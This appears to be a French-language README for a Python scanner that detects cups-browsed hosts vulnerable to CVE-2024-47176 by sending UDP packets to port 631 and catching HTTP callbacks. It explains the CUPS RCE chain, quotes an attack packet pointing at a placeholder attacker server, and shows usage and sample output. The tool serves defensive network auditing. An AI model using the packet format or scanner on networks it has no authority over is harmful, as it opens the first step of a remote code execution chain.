
Un scanner simple pour identifier les instances vulnérables de cups-browsed sur votre réseau
Exemple d'utilisation : python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS (Common Unix Printing System) est un framework open-source pour gérer et contrôler les imprimantes sur les systèmes UNIX et similaires. C'est l'une des bibliothèques d'impression les plus utilisées et elle est supportée par UNIX, Linux et certains appareils Apple.
Plusieurs vulnérabilités critiques ont été découvertes dans CUPS, qui, lorsqu'elles sont enchaînées, peuvent conduire à une exécution de code à distance. Les CVE concernées sont CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.
Ces vulnérabilités permettent à un attaquant distant d'ajouter ou de reconfigurer des imprimantes réseau de manière à exécuter du code arbitraire lorsque les utilisateurs tentent d'imprimer à partir de celles-ci.
La première vulnérabilité de la chaîne, CVE-2024-47176, est une faille dans le démon cups-browsed.
La vulnérabilité vient du fait que cups-browsed lie son port de contrôle (port UDP 631) à INADDR_ANY, l'exposant ainsi au monde entier. Comme les requêtes ne sont pas authentifiées, quiconque peut atteindre le port de contrôle peut ordonner à cups-browsed d'effectuer une découverte d'imprimante.
Dans les cas où le port n'est pas accessible depuis Internet (à cause de pare-feux ou du NAT), il peut toujours être accessible via le réseau local, permettant une élévation de privilèges et un mouvement latéral. Pour cette raison, j'ai créé ce scanner conçu pour analyser votre réseau local à la recherche d'instances vulnérables de cups-browsed.
En général, un attaquant commencerait le processus d'exploitation en envoyant une requête spécialement conçue à cups-browsed sur le port UDP 631, l'amenant à contacter une URL malveillante sous son contrôle.
Par exemple, un paquet UDP contenant ce qui suit : 0 3 http://<attacker_server>/printers/malicious_printer déclencherait cups-browsed pour émettre une requête HTTP vers http://<attacker_server>/printers/malicious_printer.
Si l'URL se présentait comme une imprimante malveillante, elle pourrait enchaîner le reste des CVE afin d'obtenir une exécution de code à distance.
En utilisant ce mécanisme, nous pouvons déclencher une instance vulnérable de cups-browsed pour qu'elle émette une requête HTTP (callback) vers notre propre serveur, s'identifiant ainsi comme vulnérable.
Le processus de scan est le suivant :
/printers/, qui sont déclenchées par les instances vulnérables de cups-browsed.En supposant que notre serveur HTTP est hébergé sur 10.0.0.1:1337, notre paquet UDP devrait ressembler à ceci : 0 3 http://10.0.0.1:1337/printers/test1234
Ce scanner Python gère tout pour vous (à la fois le serveur HTTP et le scan).
Le script lance un serveur HTTP temporaire via http.server sur une IP et un port spécifiés, puis construit et envoie des paquets UDP à chaque IP de la plage spécifiée. Le serveur HTTP capturera automatiquement les callbacks des instances vulnérables de cups-browsed et les enregistrera sur le disque.
Les logs conviviaux sont écrits dans logs/cups.log et les requêtes HTTP brutes sont écrites dans logs/requests.log
--target
le(s) CIDR à scanner. Peut être un seul CIDR ou plusieurs CIDR séparés par des virgules.
--callback l'IP et le port locaux pour héberger notre serveur HTTP (doit être accessible depuis la plage cible)
--scan-unsafe par défaut, nous ne scannons que les adresses hôtes assignables (nous excluons l'adresse réseau et l'adresse de diffusion). Dans certains cas, il peut être souhaitable de scanner ces adresses, ce comportement peut être outrepassé avec le flag --scan-unsafe.
Scan du CIDR 10.0.0.0/24 depuis l'adresse IP 10.0.0.1, hébergeant le serveur de callback sur 1337 :
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
Scan de plusieurs CIDR depuis l'adresse IP 10.0.0.1, hébergeant le serveur de callback sur 1337 :
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
note : l'IP du serveur de callback doit appartenir à l'hôte de scan, et le port doit être accessible depuis chaque IP cible.
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
pour plus d'informations voir : Article officiel sur la vulnérabilité CUPS